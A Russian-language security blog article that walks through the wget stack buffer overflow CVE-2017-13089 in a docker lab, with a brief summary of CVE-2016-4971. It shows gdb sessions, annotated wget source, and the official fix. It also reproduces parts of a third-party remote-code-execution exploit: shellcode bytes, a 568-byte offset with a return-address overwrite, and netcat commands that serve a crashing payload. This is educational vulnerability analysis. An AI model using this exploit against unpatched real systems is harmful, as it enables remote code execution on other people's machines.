Уязвимость в wget и защита от нее

Практически в каждом дистрибутиве Linux есть такая полезная утилита, как wget, а к нашему великому несчастью ее давно портировали и существует большое количество сборок на ее основе и под Windows.

С ее помощью легко и удобно скачивать большие файлы. Она же встречается и на веб-серверах, где любая уязвимость может обернуться пренеприятными последствиями для владельца. По простому и на современный лад — эта утилита часто используется «скрипткидди» для докачки исполняемых файлов на компьютер жертвы. Так же в ход идут и другие утилиты великого и ужасного Марка Суссиновича, но это тема отдельной статьи.

Удивительно, но многие пользователи, а тем более администраторы или сотрудники поддержки попросту не догадываются, что существуют подобные утилиты, которые идут в составе к примеру в утилитах по автоматической установке драйверов типа DriverPack Solutions. Я ничего против данного комбайна DriverPack Solutions не имею, в свое время, на моменте старта данной утилиты был в составе дебагеров одной из первой версии, которая была разработана интузиастами занимающимися обслуживанием компьютеров, в составе которой «батники» и hta файл с архивами драйверов.

Мы поговорим об обнаруженой в ее составе утилите.

Существует множество багов данной замечательной для «черношляпников» утилиты:

image

Уязвимость позволяет удаленному атакующему выполнить произвольные команды на уязвимой системе.

В прошлом месяце в популярной утилите GNU wget, используемой системными администраторами для загрузки файлов на Linux-серверы, была устранена опасная уязвимость, позволяющая перезаписать произвольный файл на уязвимой системе.

Уязвимость CVE-2016-4971 заключалась в ошибке при обработке имени файла, передаваемого по протоколу FTP, если в ходе загрузки файла осуществлялось перенаправление с HTTP-сервера на FTP. Злоумышленник мог перезаписать произвольный файл на уязвимой системе используя символы обхода каталога в имени загружаемого файла.

Опасность подобной уязвимости усугубляется спецификой ПО. Wget часто используют администраторы Linux-серверов, запуская приложение с привилегиями суперпользователя.

Код эксплоита к уязвимости доступен здесь. С подробным описанием работы эксплоита можно ознакомиться здесь.

Для устранения уязвимости необходимо установить последнюю версию GNU wget 1.18.

© https://www.securitylab.ru

Мы разберем, как работает баг wget, связанный с переполнением буфера под номером CVE-2017-13089.

Его эксплуатация может привести к выполнению произвольных команд на целевой системе.

Уязвимости присвоен номер CVE-2017-13089, она присутствует во всех версиях wget вплоть до 1.19.1.

Стенд

Сперва готовим площадку для будущих экспериментов. Тут нам на помощь пришла работа Роберта Дженсена (Robert Jensen), который собрал докер-контейнер для тестирования уязвимости.

Скачать докер-файл, эксплоит и прочее вы можете в его репозитории.

Затем останется только выполнить:

docker build -t cve201713089

Затем запускаем контейнер:

docker run  --rm --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -ti --name=wget --hostname=wget robertcolejensen/cve201713089 /bin/bash

Подключившись к контейнеру, компилируем исходники wget с флагом -g для более удобной отладки:

$ wget ftp://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
$ tar xvzf wget-1.19.1.tar.gz
$ cd wget-1.19.1 && CFLAGS="-g" ./configure && make && make install && cd -

Проверим, успешно ли скомпилились исходники с поддержкой отладочных символов:

$ gdb wget
эксплуатация уязвимости wget
gdb подгрузил отладочные символы

Теперь с этим можно работать. Переходим к следующему этапу.

Уязвимость wget

Давайте сразу посмотрим, как можно триггернуть уязвимость. Для этого в репозитории есть пейлоад, который можно скачать тем же wget.

$ wget https://raw.githubusercontent.com/r1b/CVE-2017-13089/master/src/exploit/payload

Перенаправим вывод из файла в порт при помощи netcat и попробуем получить содержимое через wget.

$ nc -lp 1337 < payload &
$ wget --debug localhost:1337

После коннекта и получения ответа утилита крашится.

эксплуатация уязвимости wget
Wget крашится при обработке специально сформированного пакета

Теперь проделаем то же самое, но уже через отладчик.

$ gdb --args wget 127.0.0.1:1337
$ r
$ bt full

Если вы еще не заглянули в файл payload, то самое время это сделать.

В нем вы можете обнаружить вереницу символов А, которые и перезаписали содержимое стека.

Результат можете наблюдать на скриншоте.

эксплуатация уязвимости wget
Содержимое стека в момент краша wget

Давайте поближе рассмотрим последнюю функцию, которая выполнялась перед крашем. Это skip_short_body из файла http.c.

/wget-1.19.1/src/http.c

946: skip_short_body (int fd, wgint contlen, bool chunked)

Кто же ее вызывает? Обратите внимание на пейлоад, в качестве ответа он возвращает код 401.

При парсинге ответа wget записывает его в переменную statcode, которая является частью структуры http_stat.

/wget-1.19.1/src/http.c

1542: struct http_stat
1543: {
...
1552:   int statcode;                 /* status code */

Затем в зависимости от этого статуса выполняются разные куски кода. За 401 отвечает следующий:

/wget-1.19.1/src/http.c

127: #define HTTP_STATUS_UNAUTHORIZED          401
...
3493:   if (statcode == HTTP_STATUS_UNAUTHORIZED)
3494:     {
3495:       /* Authorization is required.  */
...
3523:           if (keep_alive && !head_only
3524:               && skip_short_body (sock, contlen, chunked_transfer_encoding))
3525:             CLOSE_FINISH (sock);

Обратите внимание на строку 3524. В этом условии и происходит вызов уязвимой функции skip_short_body. Но для этого необходимо, чтобы две переменные (keep_alive и head_only) приняли нужные значения (строка 3523), потому что в C/С++, как и во многих других языках, обработка логических операций выполняется по принципу short-circuit evaluation.

Вы, наверное, уже догадались, что означают сами переменные:

  • keep_alive принимает значение true, если в ответе от сервера хидер Connection равен keep-alive
  • head_only — это просто флаг наличия только хидера в ответе
эксплуатация уязвимости wget
Переменные из условия, в котором выполняется skip_short_body

Итак, переменные имеют нужные значения, а значит, skip_short_body выполняется. Посмотрим на параметры, которые в нее передаются.

В первую очередь нас интересует параметр chunked_transfer_encoding. Он зависит от заголовка Transfer-Encoding, который возвращает сервер. Этот заголовок парсится, и если он установлен в chunked, то переменная становится true.

/wget-1.19.1/src/http.c

3449:   chunked_transfer_encoding = false;
3450:   if (resp_header_copy (resp, "Transfer-Encoding", hdrval, sizeof (hdrval))
3451:       && 0 == c_strcasecmp (hdrval, "chunked"))
3452:     chunked_transfer_encoding = true;

При получении пакета с таким заголовком от сервера клиент использует механизм chunked transfer encoding при обработке запроса. Он полезен в тех случаях, когда, например, нужно передать динамически сформированные данные, для которых нельзя заранее определить размер. Данные передаются небольшими частями (они же блоки или чанки — называйте как хотите), которые имеют следующий формат:

<размер блока (в HEX)><CRLF>
<данные блока><CRLF>

Для отделения записи длины чанка от его содержания используется разделитель CRLF (в виде строки \r\n или как байты в формате HEX: 0x0D, 0x0A). Размер чанка — это длина передаваемых в нем данных в байтах, где разделители CRLF не учитываются.

Следующий параметр, который нас интересует, — contlen. Эта переменная отвечает за размер данных в теле ответа и изначально парсится из хидера Content-Length. Мы его не передаем, так как используем механизм передачи данных частями, поэтому contlen так и остается равной -1, как и была инициализирована.

/wget-1.19.1/src/http.c

3318:   contlen = -1;
...
3414:   if (!opt.ignore_length
3415:       && resp_header_copy (resp, "Content-Length", hdrval, sizeof (hdrval)))
эксплуатация уязвимости wget
Значение переменной contlen

Самое время пробежаться по телу функции skip_short_body, чтобы понять логику выполняемого кода. Сначала она проверяет, не превышает ли длина ответа (contlen) 4096 байт. Если да, то соединение просто закрывается.

/wget-1.19.1/src/http.c

948:   enum {
...
950:     SKIP_THRESHOLD = 4096        /* the largest size we read */
951:   };
...
958:   if (contlen > SKIP_THRESHOLD)
959:     return false;

Затем начинается цикл чтения данных из переданного пакета.

/wget-1.19.1/src/http.c

961:   while (contlen > 0 || chunked)

Переменная contlen у нас, конечно, меньше нуля, а вот chunked установлено в true, поэтому начинается чтение данных. Сначала wget определяет размер данных первого чанка. Для этого функция strtol() конвертирует строковое представление числа, которое хранится в строке line, в длинное целое и возвращает результат.

/wget-1.19.1/src/http.c

973: remaining_chunk_size = strtol (line, &endl, 16);

Размер первого чанка в эксплоите установлен в -0xFFFFFD00.

эксплуатация уязвимости wget
Wget в процессе чтения размера первого чанка из пейлоада

Поэтому переменная remaining_chunk_size примет значение -4294966528.

(gdb) p remaining_chunk_size
$7 = -4294966528

Эта переменная отвечает за размер оставшихся непрочитанных данных из текущего блока. Теперь вычисляется переменная contlen. Для этого используется функция MIN. Она возвращает наименьшее из двух переданных чисел.

/wget-1.19.1/src/http.c

949: SKIP_SIZE = 512, /* size of the download buffer */
...
984:    contlen = MIN (remaining_chunk_size, SKIP_SIZE);

Естественно, наше полученное значение remaining_chunk_size гораздо меньше SKIP_SIZE, так что contlen теперь равна -4294966528.

эксплуатация уязвимости wget
Вычисление нового значения contlen при обработке блока данных

Теперь настало время чтения данных из пакета и записи их в память. Для этого в функцию fd_read передается указатель на текущий пакет, переменная для записи данных и их размер.

/wget-1.19.1/src/http.c

989: ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);

/wget-1.19.1/src/connect.c

928: int
929: fd_read (int fd, char *buf, int bufsize, double timeout)
930: {

Так как fd_read в качестве размера буфера (bufsize) принимает только тип int, верхние 32 бита длины отбрасываются, когда мы передаем отрицательные значения в качестве размера чанка.

эксплуатация уязвимости wget
Функция fd_read использует тип int в качестве размера данных для чтения

Затем все параметры уходят в функцию read.

/wget-1.19.1/src/connect.c

938: return sock_read (fd, buf, bufsize);

/wget-1.19.1/src/connect.c

778: static int
779: sock_read (int fd, char *buf, int bufsize)
780: {
781:   int res;
782:   do
783:     res = read (fd, buf, bufsize);
784:   while (res == -1 && errno == EINTR);
785:   return res;
786: }

Обратите внимание на адрес буфера, в который будут записываться данные, и на расположение стека.

эксплуатация уязвимости wget
Адрес стека и адрес буфера для записи данных из пейлоада

При создании буфера под него выделяется всего 512 байт, а читать и записывать мы будем 768, вот тут и возникает переполнение. Выходим за границу выделенной нам памяти.

/wget-1.19.1/src/connect.c

949: SKIP_SIZE = 512,                /* size of the download buffer */
...
953: char dlbuf[SKIP_SIZE + 1];
954: dlbuf[SKIP_SIZE] = '\0';        /* so DEBUGP can safely print it */

После того как отработает read, данные в размере 768 байт будут прочитаны и записаны по адресу buf. Теперь стек перезаписан вереницей из символов А, которые были в пейлоаде. Таким образом, мы можем управлять адресом возврата из функции skip_short_body.

эксплуатация уязвимости wget
Состояние стека после переполнения буфера

Дальше все просто — вычисляется размер оставшихся данных из чанка.

/wget-1.19.1/src/http.c

998: contlen -= ret;

Цикл уходит на второй круг для чтения следующей порции данных. Только теперь contlen у нас равен -4294967296 (-4294966528 — 768), что в int-представлении равно 0. Так как буфер пуст и читать больше нечего, выполняется условие:

/wget-1.19.1/src/http.c

989: ret = fd_read (fd, dlbuf, MIN (contlen, SKIP_SIZE), -1);
990: if (ret <= 0)
991:   {
992:     /* Don’t normally report the error since this is an
993:        optimization that should be invisible to the user.  */
994:     DEBUGP (("] aborting (%s).\n",
995:              ret < 0 ? fd_errstr (fd) : "EOF received"));
996:     return false;
997:   }

Программа выходит из функции skip_short_body в никуда, а все благодаря перезаписанному стеку.

эксплуатация уязвимости wget
Стек перезаписан. Wget в отключке

Вот так отрабатывает PoC. Если хотите поэкспериментировать с RCE, то загляните к нашему китайскому товарищу под ником mzeyong в репозиторий. Там вы найдете эксплоит, результатом работы которого будет запущенный /bin/dash.

Сам сплоит состоит из двух частей, первая — это собственно сам шелл-код.

shellcode.py

14: buf += "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05"
15: buf += "\xef\xff\xff\xff\x48\xbb\xc5\xb5\xcb\x60\x1e\xba\xb2"
16: buf += "\x1b\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
17: buf += "\xaf\x8e\x93\xf9\x56\x01\x9d\x79\xac\xdb\xe4\x13\x76"
18: buf += "\xba\xe1\x53\x4c\x52\xa3\x4d\x7d\xba\xb2\x53\x4c\x53"
19: buf += "\x99\x88\x16\xba\xb2\x1b\xea\xd7\xa2\x0e\x31\xc9\xda"
20: buf += "\x1b\x93\xe2\x83\xe9\xf8\xb5\xb7\x1b"

Вторая часть — адрес, где этот самый шелл-код будет располагаться. На вашей машине он может быть другим.

shellcode.py

22: Payload += buf+(568-len(buf))*"A"
23: Payload += "\xd0\xd9\xff\xff\xff\x7f\x00\x00"

Обратите внимание, что адрес записывается со смещением в 568 байт. Это необходимо, чтобы он оказался на верхушке стека, после того как буфер будет переполнен.

После запуска можно наблюдать следующую картину:

эксплуатация уязвимости wget
Эксплоит для wget успешно отработал

Вот так легко и непринужденно эксплоит отрабатывает в тепличных условиях. Чтобы превратить его в боевой сплоит для реальных машин, придется попотеть, но это уже выходит за рамки нашей статьи.

Заключение

Если вас интересует фикс бага, то вот он. Разработчики добавили проверку на отрицательные значения переменной remaining_chunk_size.

/wget-1.19.2/src/http.c

976: if (remaining_chunk_size < 0)
977:     return false;

© http://www.spy-soft.net

Казалось бы, этот баг вполне можно было обнаружить автоматикой заранее, но и в наше время такие вещи еще, похоже, встречаются.

Будьте бдительны и анализируйте все, чем приходится пользоваться…

Дисклеймер: Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.